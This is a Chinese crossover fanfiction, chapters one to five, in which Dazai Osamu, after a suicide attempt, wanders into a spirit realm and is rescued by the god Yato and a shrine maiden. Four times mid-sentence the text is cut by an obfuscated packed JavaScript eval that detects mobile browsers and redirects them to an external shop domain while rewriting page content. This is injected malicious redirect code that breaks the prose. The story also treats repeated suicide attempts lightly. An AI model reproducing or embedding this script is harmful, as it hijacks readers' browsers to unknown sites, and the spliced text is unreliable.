《[综]治愈系巫女不想被碰瓷》 1. 太宰少年的奇妙冒险 现在是下午五点，黄昏时分，夕阳的余晖洒落在大地上，那金红色的色调像是给整个横滨都披上了一层瑰丽的轻纱。 横滨的确是一座非常美丽的城市，若是……忽略近处破败荒凉的环境的话。 这里是一处萧条的港口，四处都是断垣残壁，一身黑衣的少年行走在其中，脚下踏着焦土。 无意间踩到了某个称得上是柔软的物体，少年的面色不变，带着一如既往的冷漠，甚至还就此停了下来，用那双没有丝毫情绪的眼睛看着“物体”，似乎在观察着些什么。 他就这么一路走走停停，从港口建筑物的一头走到了另一头。 “太宰先生，请问有什么发现吗？”在走过这片建筑物之后，少年身后的广津流浪微微欠身，恭敬地询问道。 少年名曰太宰治，港口黑手党首领的养子，至于他出现在这里的原因，是因为…… 横滨最近发生了一些奇怪的现象，经常有一些人会无缘无故地死亡，港口黑手党自然也没有幸免于难。 所以，港口黑手党的首领森鸥外大手一挥，派遣自己的养子来调查这件事。 “没有哦，”太宰治摇了摇头，声音轻飘飘的，“我什么都没有发现，那些人好像真的就是突然猝死，脸上还维持着平常的表情。” “简直就像是一瞬间被抽走了魂魄一样呢。” 听到这样的结果，广津柳浪并不意外，在这之前，黑蜥蜴早就对死者进行了调查，就是因为什么都没发现，才禀告首领的。 只不过，横滨又要乱起来了啊，广津柳浪叹了一口气，心情很是复杂。 横滨啊，真是一座多灾多难的城市呢！ 在感慨完之后，广津柳浪继续询问：“那接下来太宰先生有什么打算？” “打算？”太宰治思考了一下，唇角勾起了一抹笑容，“我准备……” “准备……”广津柳浪还在恭恭敬敬等待太宰治的吩咐，就见少年直挺挺地跳入了他身后的大海。 广津流浪：“……” 不愧是你，太宰先生！ 他竟然对这样的情况毫不意外！ 因为某位黑泥精频繁作死的行为，港口黑手党内流传着一条不成文的规定：但凡只要和首领的养子出任务，就得随身携带捕捞网等各种救援器具。 广津流浪吐了一口烟，淡定地吩咐手下将太宰治捞上来，身后的黑手党早就准备得差不多了，动作熟练得让人心疼。 然而…… 十分钟后，他们什么都没捞上来…… 黑手党们的神色这才变得惊恐起来，到处呼唤着“太宰先生”。 四下里一片骚乱。 …… 至于太宰治本人。 他正安详地躺在海底慢慢下沉。 感受着腥咸的海水入侵呼吸道所带来的窒息感，少年神色安稳，露出了一个孩子气的笑容。 只有拥抱死亡的时候，他才能感受到一丝安宁。 就让他从这个氧化腐朽的世界中醒来吧…… 然而，事情的发展总是不尽如人意。 就在他即将睡过去的时候，他的耳边传来一阵骚动。 “太宰先生——，太宰先生——，”这是岸边自己下属的呼唤，很烦，烦得让人头疼欲裂。 太宰治试图捂住自己的耳朵，但那些声音就像是附骨之蛆，准确无误地传入自己的耳中，无论如何也摆脱不掉。 太宰治在水中睁开双眼，眼神中满是晦涩。 这些人太吵了，吵得他没有了就此沉眠的兴致，他回头一定要教懂他们什么是安静。 被打断兴致的太宰治显然没有了再次自杀的想法，他怕自己还没先到黄泉比良坂就被这群人烦死，于是，他湿漉漉地从海底游了上来。 骤然离开了水面，他还有些不适应，眼前模模糊糊地泛着一层白。 太宰治揉了揉双眼，突然感到了一丝不对劲。 四周太安静了，一点声音也没有，刚刚下属的喊叫声像是从未存在。 太宰治并不觉得那些蠢货会这样抛下自己自行离去。 在视觉恢复之后，太宰治第一时间睁大双眼环顾四周。 还是那片熟悉的地域，与自己跳水前经历的并无什么分别。 太宰治有些稀奇地看向那群正在打捞自己的下属。 他此时正站在他们旁边，但他们却像看不见自己一般依旧疯狂地在海里打捞着，他们嘴唇翕动，正在呼唤“太宰先生”，但太宰治本人却什么也听不见。 太有意思了，简直像在看一场无声的默剧。 他这是游离到世界之外了吗？ 那现在的自己，还算是人吗？ 莫不是自己已经死了？ 想到这里，太宰治掐了自己一把，嘶——有些疼！ 原来自己还没有死去啊，太宰治有些失望，不过转念一想，若是死后的世界是这样的……那也的确无聊。 现在看来，他似乎是误入什么隐藏世界了吗？ 太宰治的新奇劲儿很快就过去了，就在思考他要不要去其他地方探索一下的时候…… “滴答——”，有什么东西滴落在了他的面前…… 绿色的…… 是天空中的雨吗？并不是，因为雨水并不会只滴在一个地方…… 太宰治眨了眨眼，他的心中涌起了一股不妙的预感，迟来的第六感告诉他不要回头赶紧跑，但太宰治能听吗？ 显然不能。他是一个爱好作死的人。 太宰治缓缓转了转脖子，试图看看这究竟是个什么东西。 然后，他就遇到了能让他后悔终身的画面。 太宰治：“……” 谁能告诉他，这个让他san值狂掉的怪物究竟是个什么东西？！ 啊，他的眼睛！！！ 那是一个巨大的不明生物，长着类人的手脚和脸，身子却像是蛇，足足有几十米高，在高空中的头颅虎视眈眈地盯着太宰治，滴落在地上的荧绿色水滴……是它的口水。 见太宰治看到了它的脸，怪物还朝他露出了笑容，随后，脖子越拉越长，怪物张开了血盆大口向太宰治的位置袭击了过来，像是直接要将太宰治吞吃入腹。 太宰治：……为什么要让他在死前看到这样的画面，早知道他不抬头就好了，还能安详一点死亡…… 太宰治原地等死，现下就算他不想死也没有任何可能了，因为怪物的移动速度很快，人类之躯的他根本就没有躲避的机会。 就在他闭上眼睛等死的时候，一阵破空中传来，他好像被什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533052|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西抱了起来，一路狂奔。 太宰治：…… 哦豁，他这是被虎口夺食了，为防止再看到什么让他san值狂掉的东西，太宰治并没有睁眼，而是作死地伸出爪子摸了摸，摸到了人类的手臂。 “你这家伙别乱摸啊，”对方咬牙切齿。 人的声音，还是个男人…… 太宰治有些遗憾地睁开双眼，在看到对方之后眼中的遗憾更甚：“什么啊，为什么救我的会是个男人。” “我还以为可以有一场美丽的邂逅呢。” 路过的五円神夜斗：“……” “你这家伙这是什么表情，对你的救命恩人能不能尊敬一点？” “可是，”太宰治思考了一下，表情更嫌弃了，“我并没有被男人抱的喜好。” 夜斗炸毛：“你以为我就想抱男人了吗？” “还有你一个普通人类能不能随便乱晃啊，这里是你来的地方吗？” “普通人类？”太宰治抓到了重点，“你不是人类？” “那当然了，我是神明！神明！”夜斗大声强调：“听好了，我就是无所不能的夜斗神。无论是什么愿望，我都能实现。” “无论什么愿望吗？”太宰治重复了一遍，随后笑眯眯地说道，“神明大人，我的愿望是无痛死亡也可以吗？” 夜斗面无表情：“无痛是不可能的，要不然我现在就把你丢下去喂妖怪，你直接就能死亡了呢。” “也可以，”太宰治点了点头，“虽然与我理想中的死亡有偏差，但是能真的死去也不错。” “拜托你了，神明大人。”太宰治语音轻快，像是一个孩子，说起死亡像在说一场游戏，没有任何对生命的敬畏。 “你认真的吗？”逃跑之余，夜斗垂下眼眸，看着这个人类，语音略微低沉。 “当然。”太宰治肯定地说道。 夜斗的脸阴沉了下来，他最讨厌的就是那种不珍惜生命的人…… “想死的人就这么让他去死好了，”脑海中的想法蠢蠢欲动，在那么一瞬间，夜斗真的起了将太宰治丢下的心思。 但是…… 夜斗犹豫了一下，还是抱着太宰继续狂奔：“你这家伙，要死就死远点，至少别死在我的面前。” “……好吧，”太宰治有些遗憾，他还觉得这次他真的能实现自己的目标了呢。 “但是，神明大人，”太宰治戳了戳夜斗。 “干嘛？”夜斗还沉浸在愤怒之中，对这人并没有什么好脸色。 “我们这是在干什么？” “逃命，看不出来吗？”夜斗有些无语，他这么一路狂奔，你以为是在玩儿呢？ 太宰治：“你不是无所不能的神明大人吗？就不能把妖怪杀了？” 夜斗：…… 你以为他不想吗？ 他现在没有神器啊！ 没有神器的神明和咸鱼有什么区别。 “你别管，我肯定有自己的计划。”夜斗强颜欢笑。 “可是神明大人……？” “闭嘴……”，夜斗没好气地说道，就因为这个人一直叭叭个不停，他一再分心，再这么下去，迟早被妖怪追上。 “哦，”太宰治乖巧点头，用手在嘴边做了个拉上拉链的动作。 2. 他超爱的（狗头） 当夜斗抱着太宰治甩开那只妖怪的时候，太阳已经接近于地平线上了。 天色渐渐暗了下来，苍穹中只剩下一抹橘红色的余晖。 夜斗和太宰治走在上山的路上。 他们走的是一条偏僻的小道，一直通到半山腰上，破旧的青石阶梯上杂草丛生，充满了一片荒凉萧瑟的气息。 “快一点，我们需要在夜晚彻底来临之前上山。”夜斗走在前面提醒道。 然而，他的话语并没有得到任何人的回复。 夜斗：“……” 他机械地转过头去，却见他身后的太宰治正盯着小路旁边的歪脖子树发出了真诚的赞美：“多么可爱的歪脖子树啊，如果我能在这里上吊的话，一定马上就能到黄泉比良坂了。” 只可惜，太宰治从风衣的口袋里面摸了又摸，脸上的表情逐渐变得遗憾：“我今天出门忘带绳子了。” 可恶，这个人…… 夜斗气得差点将后槽牙咬碎，他现在最后悔的就是救了这个人，对方毫无感激也就罢了，还在频频拖后腿，一路上不是想要上吊就是要跳河，完全是想凭实力把他给气死。 “你到底还走不走了？”夜斗额头上青筋毕露，甚至冒出了两个大大的“井”字。 “神明大人，这就来～”太宰治拖长尾调回应道，只是动作仍旧慢吞吞的，丝毫没有着急的样子，转身之际还依依不舍地看了歪脖子树一眼，像是在同它道别。 不过好在说完这句话之后，太宰治还是跟在夜斗身后，两人齐齐向着山上走去。 嗯……怎么说呢…… 太宰治这个人……是懂如何在别人暴怒的边缘线上死亡横跳的…… 可不吗？还没走多久，太宰治又不知道想到了什么，拉了拉夜斗的衣角。 “干嘛？”夜斗无情地将太宰治的手拍开，眼神中尽是不耐。 夜斗的表情算不得多好，但要知道，能在对方反复作死的情况下还没有抛下太宰治，就已经算是夜斗他善了。 “神明大人，我好像走不动了。”太宰治说到，就近在地上坐了下来，“要不然我们休息一会儿再继续吧。” “够了，”对方一而再再而三的行为显然再次惹怒了夜斗，他对这个人的忍耐极限已经到达了边缘。 “如果你愿意呆在这里的话，就呆在这里好了。”夜斗面无表情地说道。 说着，他一个人继续向前走去，直到身影隐入森林深处，徒留太宰治一个人坐在地上，眼神晦暗不明。 …… 夜斗一个人在林中跑得飞快，好像是唯有如此才能发泄内心的愤怒。 他觉得那个人有病，有非常大的病。 世界上有那么多的人，即使遭受着诸多苦难，也在拼命挣扎着想要活下去，但那个人……明明有活下去的资本，却偏偏毫不珍惜自己的生命，无时无刻想要自杀…… 多么讽刺啊…… 谁愿意管他！想死的人，就让他去死好了！ 像那样的人，一个玩弄生命，蔑视生命的人，即使被救，生命也不会有任何意义的吧，还不如就让他这么自生自灭，既满足了对方求死的愿望，也省得他心烦。 就在夜斗一味心烦意乱，满地乱转的时候，太阳不知不觉已经落下了地平线。 夜晚彻底降临了！ 天空中暗了下来，像是打翻了一瓶浓墨，将整个苍穹染得漆黑。天边的一轮圆月正在缓缓升起，四野中也弥漫起了薄薄的雾气。 “哧哧——”，森林中像是有什么东西开始骚动起来了。 夜斗：糟了…… 这里并非现实，而是彼岸。 黄昏时刻又被称为“逢魔之时”，是此岸与彼岸相接的时候，在这一段时间，妖怪可以通过逢魔的入口来到此岸，而人类也可以通过逢魔入口来到彼岸。 所以，若是此时的人类碰到妖怪，就可能被妖怪带入彼岸之中，也被称为“神隐”，即现实中的人会就此失踪。 黄昏时刻已经落幕，就意味着逢魔之门已经关闭…… 夜晚的彼岸，妖怪横行，可算不得什么安全地方…… 夜斗正准备立刻离开这里，回到现实中去，但是…… 那个人类…… 夜斗纠结了一下，最终还是选择了回头。 罢了，就当救人救到底吧。 他到底无法漠视一个人类在彼岸被妖怪吞噬。至于等人类回到现实世间，他管对方去死啊! 当夜斗回到原地的时候，那个人类的四周已经被各种各样的庞然大物包围了。 天上飘的，地上爬的都有，长着人脸的蜘蛛，体型扩大了几十倍的蜈蚣，身上全是眼睛的蛆虫…… 饶是常年在彼岸间游走的夜斗也被这些妖怪的数量吓了一跳。 不过好在都是些低阶妖怪，对他构不成威胁…… 才怪…… 他现在没有神器啊！！！ 没有神器的他什么也做不了！！！ 夜斗欲哭无泪，又到了他亡命天涯的时候了…… 所谓“留得青山在，不怕没柴烧”，等到他把伴音找回来之后，他一定……一定…… 依靠着灵活性不断穿梭在妖怪之间的夜斗再次抱起太宰治一路狂奔。 他的心好累，真的，为什么身为“武神”的他要受到这样的对待…… 一众妖怪哪儿能让“到嘴的鸭子就这么飞走了”，一路追着夜斗，与此同时，无意路过的妖怪也被人类的香气吸引，加入了这么一场争夺战中，妖怪的队伍愈发壮大，远远一群奔袭而来，好不壮观。 夜斗：“……” …… 银色的月亮高高悬挂在空中，月光从树缝间落下，如同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533053|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒霜一般冷冷地洒在地上。 树林里面草木摇曳，不断传出窸窣的声响。 若是靠近看去，是一个人正抱着另一个人狂奔，而后面跟着一长串的妖怪大军。 嗯……哭死，他超爱的，即使被一群妖怪追着，夜斗也不愿意放下怀里的人。（开玩笑的） 当事人夜斗表示很呔。 神明也是会累的好吗！经过了长时间的奔跑，他的体力早已经流失严重，快要坚持不下去了。 至于他抱着的那一个…… 太宰治在被他找到的时候就已经晕过去了，也不知道是因为人类之躯不适应彼岸，还是被那群辣眼睛的妖怪给吓的。 夜斗更希望是后者:活该，让他作，让他作！要是能吓死他，对太宰治本人来说也算是得偿所愿了! 不过，夜斗神色一凛，再这样下去，他们迟早会被追上。 既然如此，就只能…… 夜斗向着一个方向跑去。 十分钟后，快了，快到了…… 夜斗强作精神，望见了石阶尽头的朱红色鸟居。 在清寒的月光的照耀下，隐隐可见前方神社的本殿。 神社是供奉神明的地方，也拥有神明的庇佑，妖魔鬼怪不得随意靠近。 就在临近鸟居的时候，后方的妖怪们也变得狂暴起来。 它们一定要在对方到达神社之前将抓住夜斗。 于是，妖怪们孤注一掷地一拥而上。 本来就没多少体力在强撑的夜斗：……他觉得怀里的人烫得出奇，要不，还是把这个烫手山芋扔了吧！ 但眼看后方的妖怪逐渐接近，都快要追上夜斗了，夜斗他本人还是没做好决定…… 就在此时，千钧一发之际—— “咻——”，是弓箭破空的声音。 锋利的箭矢划过夜空，直直地射向最前方的妖怪。 不过顷刻之间，离弦之箭已至，飒沓如同流星。 为首的妖怪在箭矢的刺入下化作黑雾消失不见，但那箭矢并没有停止，还在以破空之速直直地刺入了地下的巨石。 “轰隆——”一声，巨石轰然倒塌，掀起了一地的烟尘，四散的碎石迸裂在空气之中，惊醒了林中的一众鸟雀。 而后，又是“咻咻咻咻——”四声，连着四箭射了出来，力透千钧，每一只都射穿了妖怪的脑袋，随后深深地插在了地上。 剩下的妖怪瞬间做鸟兽四散。 劫后余生的夜斗顺着弓箭射入的方向看去。 白衣绯袴的巫女站在鸟居旁边俯视着他，她的手中拿着一把梓弓，眼神像是黑暗而深沉的夜。 “这位神明大人，”巫女的声音冷淡而清冽，嘴上虽然叫着“神明大人”，脸上却对夜斗没有一丝一毫的敬意。 “请您给我一个将妖怪引入此方神社的理由。” 3. 关于某位偷感很重的神明 月见千里站在鸟居下方，沉默地看着夜斗。 夜晚，是属于人们休息的时间。 她现在应该躺在床上睡觉，而不是站在外面，吹着冷风，听某位穷困潦倒的神明讲述他那毫无参考意义的凄惨日常。 “打住，”月见千里打断了夜斗絮絮叨叨的吐槽与抱怨，她决定放过自己的耳朵，“这件事情我不会再追究了。” “真的吗？千里，”夜斗明显是松了一口气，连表情也舒缓下来，“那真是太好了。” “可是……，那个……，”夜斗欲言又止，瞥了月见千里一眼，然后又很快地移开目光。 “其实，我还有一个请求，不知道当讲不当讲？” 月见千里眼角一抽：“不用讲了。” “不要这样嘛，千里，”夜斗可怜兮兮地抱着鸟居的柱子：“你也知道人类在神隐之地会有多危险，而且我现在也没有自保的能力。” “如果没有你的帮助，”夜斗越想越凄惨，眼角甚至渗出了几滴泪花：“我们一定活不过今天晚上的。” “所以能不能求善良的巫女小姐收留流浪的神明一晚上？” 夜斗双手合十举过头顶，向着月见千里恳求道，还特意离月见千里近了一些，放大了他委屈巴巴的面庞，企图以此博取月见千里的同情。 月见千里：“……” 事实上，她一点儿不想收留这个倒霉的神明，但是…… 月见千里的表情有些古怪：怎么说呢……嗯……做神明能做得这样失败而凄惨，整日被神器嫌弃，没有信徒，且就连住的地方也只能靠蹭的……也只有这么一个了。 纵使日本有八百万的神明，这位神明也足以在众神中脱颖而出，鹤立鸡群，成为茫茫神海中的一朵奇葩…… 就当是为了保护珍稀动物出一份力吧……月见千里这样安慰自己，随后，她看向夜斗，神情冷淡：“仅此一次，下不为例。” “若是还有下一次……”，月见千里眯了眯眼睛，神色不善，神社里面供奉的是她的信仰，收留一次已经算是她心善了，她可不希望神社里的香火被某位神明白蹭。 虽然说……也不会有什么香火就是了…… “绝对不会，”没等月见千里说出什么威胁的话语，夜斗急忙信誓旦旦地保证。 “那就好。”月见千里声音清冷地应了一句，眼神寂寂如同寒霜，“请自便。” 说完这句话后，月见千里便走开了，她并没有招待这位神明的意思，想必对方只凭自己也应该能找到休息的地方。 反正只要对方不会作死地跑到本殿就行了…… 至于他究竟会呆在哪里？月见千里并不在意，难道还指望她专门为一位不速之客准备床榻吗？ 月色如水般清冽，照在月见千里的身上，将她的身影拉得很长。 在月见千里走后，夜斗走进神社，随意地找了一个地方躺了下来，只是，夜斗用手撑着头部，他翻来覆去也睡不着！ 并不是因为其他的，而是，夜斗看着旁边还处于晕倒中的太宰治。 越看越气的夜斗想站起身来踹他几脚。 这个人很麻烦！夜斗这么想到，而他今天的经历也恰恰说明了如此…… 既然他已经将对方带到了一个安全的地方，不如…… 夜斗心下有了主意。 而后，一夜好眠。 —— 清晨的阳光照在少年的身上，给躺在地上的少年笼罩了一层朦胧的光晕，少年的睫毛微微颤动。 很明显，他快要醒来了。 在睁开双眼的那一瞬间，少年的眸中溢出了淡淡的茫然与疑惑，而后又恢复成了幽深的样子。 太宰治面无表情地盯着上方的蓝天白云。 他并没有死，这是太宰治的第一反应。 在夜斗离开之后，他就这么晕了过去，虽然不知道发生了什么，但……他应该是被人救起来了。 救他的人……是那个多管闲事的神明吗？ 太宰治深吸了一口气坐了起来，身上盖着的报纸四散。 好可惜哦，他还以为他能到黄泉比良坂了呢，太宰治心里这样想着，随后他向着四周看去，毫无预兆地对上了两双清澈的瞳孔。 太宰治：…… 只见一男一女正坐在栏杆上，好奇地看着他。 “你醒了啊，”见到太宰治醒来，左边的女孩子露出一个笑容：“月见小姐说过，等你醒来之后可以去鸟居那边找她。” “月见小姐？”太宰治不动声色地记下来这个称呼，随后茫然地问道：“请问月见小姐是谁？这里又是哪里？” “诶？”少女一愣，“您不是月见小姐带来的人吗？” “不是哦，”太宰治眨了眨眼，脸上带着恰到好处的疑惑，“我一醒来才发现自己突然出现在这里，在这之前我也并不认识什么月见小姐。” “原来是这样啊，抱歉，我们神社从来没有外人踏足，所以我还以为你是月见小姐带来的客人。” “神社？”太宰治又找到了一个关键信息，他打量了一下四周，发现这里的确与外面的神社并无什么区别，“这里原来是神社吗？看起来香火不像是很好的样子。” “呃……，这个……”少女正打算说些什么，却被坐在右边的少年打断了。 “这里的情况我们也不太清楚，我们是月见小姐捡来的人，有什么问题的话，还请您询问月见小姐比较好。”少年应该是个相当温柔的人，尽管他的眼神中有着防备，话语依旧温暖而和煦。 “嗨～，我知道了。”太宰治应道，眼见从这两人的口中应该套不出什么信息了，他准备去会会这位所谓的“月见小姐”。 这样想着，太宰治站起身来，拍了拍自己风衣外套上的尘土，向着神社外面走去。 鸟居是神社的入口，走过神社前面的青石台阶，太宰治一眼就看到了那一抹显眼的朱红。 现在正值春日，是樱花盛开的时节，鸟居的旁边种着两颗大得惊人的樱花树，微风拂过，落英缤纷，一簇一簇的粉色樱花落了下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533054|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，像是下了一阵樱花雨。 而留着姬发式发型的巫女站在这片花雨之中，神情温和，也像是三月里初绽的樱花。 巫女小姐手里拿着一把扫帚不断洒扫庭院，但在这个樱花坠落的时节，无论她再怎么努力地清扫，花朵总会在风的吹拂下飘到各处地方，刚刚清扫好的地方自然也不能幸免于难，很快再次被花瓣占满。 太宰治就这么看着巫女一遍一遍重复清扫着，神色认真而专注，并无一丝不耐。 可是……“这样真的有任何意义吗？” 太宰治冷漠地想着，在他看来，对方这么做是无用功，完全就是在消磨时间而已。 见月见千里停下手中的动作看向他，太宰治这才察觉自己在不觉间将心里的想法说了出来。不过没关系，太宰治本人一点都不尴尬，他有些好奇对方会如何解释她那没有任何意义的行为。 然而，很抱歉，月见千里并没有任何给他解惑的想法，这是属于月见千里个人的修行，别人的看法到底是与她无关，她直入主题地说道：“是夜斗神……将你带来这座神社的，黄昏时分我会带你回到现世。” 一说起那个流浪神明，月见千里就有些无语，他自己倒是休息一晚上拍拍屁股走了，结果把带来的人就这么扔了下来，还不忘记留个纸条拜托她将这人送回现世。 月见千里不明白对方是怎么好意思的。 真以为她时间那么闲可以给他善后啊？ “那个，”太宰治歪了歪头，“不回到现世不可以吗？我其实还蛮喜欢这里的，这里景色超美！” “更何况这里还有这么美丽的巫女小姐。” 月见千里：…… “人类，”她清了清嗓子，严肃地说道：“这并不是你该来的地方，在这里呆久了，你会消失。” “哇哦，消失！”太宰治的声音陡然雀跃了起来，像是遇到了什么梦寐以求的事情，“如果可以在这里消失的话，是不是就算无痛死亡了？” 太宰治看向月见千里，脸上满是期待。 月见千里沉默了。 她似乎知道夜斗将这个人丢下悄悄溜走的理由了。 无论是对方荒诞至极的行为，对死亡的极致渴望，还是……未被绷带包裹着的眼睛里面，流露出的空洞与绝望，都在告诉月见千里： 这个人是个麻烦！ “很抱歉，”月见千里改了说辞，“我所说的消失，是在现世世界的消失，你的存在会在人世间抹去。” “至于你本人，则会徘徊在这片神隐之地，就算身体已经死去，灵魂也会被永远禁锢在这里，无法离开。” 说罢，月见千里敛下眸子，她所说的话自然不全部是真的，但是…… 她向来讨厌麻烦…… 若是能让这个麻烦早点消失，她也不在意自己说些小谎。 “诶？好可怕。” 太宰治缩了缩脖子，脸上惊恐到掉色。 连灵魂也无法离开什么的，那完完全全就是世界上最恶毒的诅咒了吧。 4. “麻烦”是真的麻烦 “巫女小姐也是人类吗？那您又是怎么到这里来的呢？”太宰治继续追问，他似乎对月见千里的过去很感兴趣。 月见千里拿着扫帚的手一顿，她抬起头，面无表情地瞥了太宰治一眼，然后又低下头继续扫地的动作： “这似乎与你无关。” “诶，可是我对巫女小姐真的很好奇嘛。”面对月见千里的冷漠疏离，太宰治不仅笑容不变，还凑上去深情款款的说道：“实不相瞒，我似乎对巫女小姐一见钟情了。” “从见到巫女小姐的第一眼开始，我的目光就被巫女小姐深深吸引，我想，我与巫女的相见，一定是神明所降下的赐福。“ 月见千里：“……” 她甚至头都懒得抬，声音一如既往的清冷淡漠：“所谓一见钟情，不过是体内多巴胺与荷尔蒙的激增影响了大脑所产生的错误的判断，等一段时间过后，这错觉就会随着大脑的平静而散去。” 嗯……这样的解释相当理性……理性得让太宰治很难相信这是一位信仰神明的巫女说出来的话。 “巫女小姐真的相信有神明存在吗？”太宰治很是好奇。 月见千里微微抬眼：“其一，理性与信仰神明并不冲突，其二，神明的确存在，况且，你不是已经亲眼见过了吗？” 月见千里所说的神明，自然指的是夜斗。 “嘛，好像的确是这样，”太宰治沉思了一会儿，随后又扬起了一个笑容，“既然神明的确存在，那么巫女小姐为什么会认为我的一见钟情一定是错误的呢？” “说不定，我们的相遇真的是神明的安排呢。”太宰治摸了摸下巴，这样说道，鸢色的眸子里面带着细碎的笑意。 看起来相当温柔，但也只有看起来……是这样！ 月见千里依旧不为所动：“我想神明并没有这样无聊，而且很遗憾，我并没有对你一见钟情的感觉。” 太宰治：“……” 他眨了眨眼睛感叹道：“哦呀，巫女小姐真有意思，和您聊天是一件相当有趣的事情。” 月见千里：“是吗？但是您打扰到我的工作了。” “若是您实在无聊的话，可以到别处去逛逛。”月见千里诚恳地建议道。 虽然……但是……这或许应该是通知。 因为在说完这句话后，月见千里就不再理会太宰治，继续仔细地打扫中，像是对太宰治整个人都视而不见了。 “巫女小姐？巫女小姐？”太宰治并没有放弃，依旧还在不知疲倦地打搅，但无论是他如何扰乱对方的行为，对方却是连一点反应都没有的，脸色平静得像是一个假人。 “……好无聊啊，”太宰治感慨道，他的兴趣来得快去得也快，见对方已经完完全全地将自己无视，也只能回头去别处看看了。 于是神社下方只剩下了月见千里全神贯注的工作身影。 …… 时间过得很快，当月见千里结束了自己的工作的时候已经是黄昏了。 她停下了手中的动作，看了看天色，天空中已经被染上了一片鲜艳的红。 月见千里平静地将洒扫工具整理好，随后向着神社里面走去。 只是刚沿着青石台阶走到神社的门口，她就听到里面传来了焦急的声音。 “太宰先生？您这是在干什么？” 月见千里蹙了蹙眉，这些声音是来自锖兔和真菰。 锖兔和真菰并不是人类，他们是游离在彼岸的鬼魂。 按理说，从此岸逝去的人类应该回到地狱，由地狱之主管辖，但也有部分鬼魂对人世间的执念太深，徘徊在此世之间不愿离去，久而久之，他们会失去自己的意识与情感，只留下挥之不去的残念作祟，最终堕落成为彼岸之中的妖魔。 锖兔与真菰也应该是这样的鬼魂，月见千里并不认识生前的他们，只是不知为何，他们在某一天却突然出现在了月见千里的神社，想来应该是“与神有缘”吧，思及此，月见千里便没有对他们进行驱赶，任由这两个鬼魂在神社游荡。 这座神社曾经受过神明的庇护，所以他们只要呆在这里便足以保全自身，不至于堕落为妖魔。 锖兔和真菰死的时候应当还在少年，正是天真的年纪，思想却相当温柔成熟，他们一向感激收留他们的月见千里，从不会给她添麻烦， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533055|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这还是月见千里第一次听到他们略带仓皇的声音。 似乎与夜斗留下来的“麻烦”有关…… 月见千里走进神社向着声源处望去，然后一眼就看到了吊在屋檐上的太宰治，对方见到月见千里的到来还在愉快地向着她招手：“嗨，巫女小姐～” 月见千里：“……” “月见小姐，”听到太宰打招呼的声音之后，锖兔和真菰立马回头，“您回来了。” “关于太宰先生……，”真菰想了半天不知道该用什么措辞，最终愧疚地说了一句，“抱歉，是我们没有及时阻止太宰先生。” “没关系，”月见千里神色略微柔和下来，“我的神社并没有那么多忌讳。” 这句话是对锖兔与真菰说的，他们生前都应该习过武，至于为何不使用武力阻止，想来是认为神社是神圣的地方，在里面动用武力是对神明的亵渎。 “至于……那个人，”月见千里轻飘飘地从太宰治身上扫过，“不用管他。我接下来会出去一趟，将这人类送回现世。” “我们知道了，月见小姐。”锖兔和真菰异口同声。 接下来，月见千里走进神社，等她出来的时候，背上已经背上了一把梓弓。 “走吧，”月见千里仰头，与太宰治对视。 太宰治乖巧地眨眨眼，并不说话。 “……” “咳咳咳——”，几秒钟之后，被救下来的太宰治瘫坐在地上，神色略显萎靡：“什么啊，又失败了吗？” 月见千里看着他不满地抱怨，脸上依旧毫无波澜：“我会送你出去是因为夜斗神的委托，仅限今日，若是你不愿意离开，我也不会拦你。” 太宰治：“……”他当然不想让自己的灵魂滞留在这里。于是，他选择不再作妖，举双手表示投降:“巫女小姐，我们快走吧。” “我保证听话，”太宰治信誓旦旦地说到，但兴许是他自己也觉得他的保证不具有说服力，用眼睛的余光看了看举起的双手，随后悻悻地降了下来，伸出右手指天发誓:“我保证。” QAQ.说罢，太宰治安静如鸡，等待月见千里的回答。 5. 逢魔之时 霓虹国的神社有不少建于深山之中，他们崇尚自然，将整片森林当作“镇守之森”来崇拜，而其中那棵最为高大的树木则被称为“御神木”，月见千里的神社也是如此。 走过看不到尽头的青石小路，太宰治注视着眼前高大的“御神木”，神色惊愕。 原因无他，这颗古树实在是太大了。 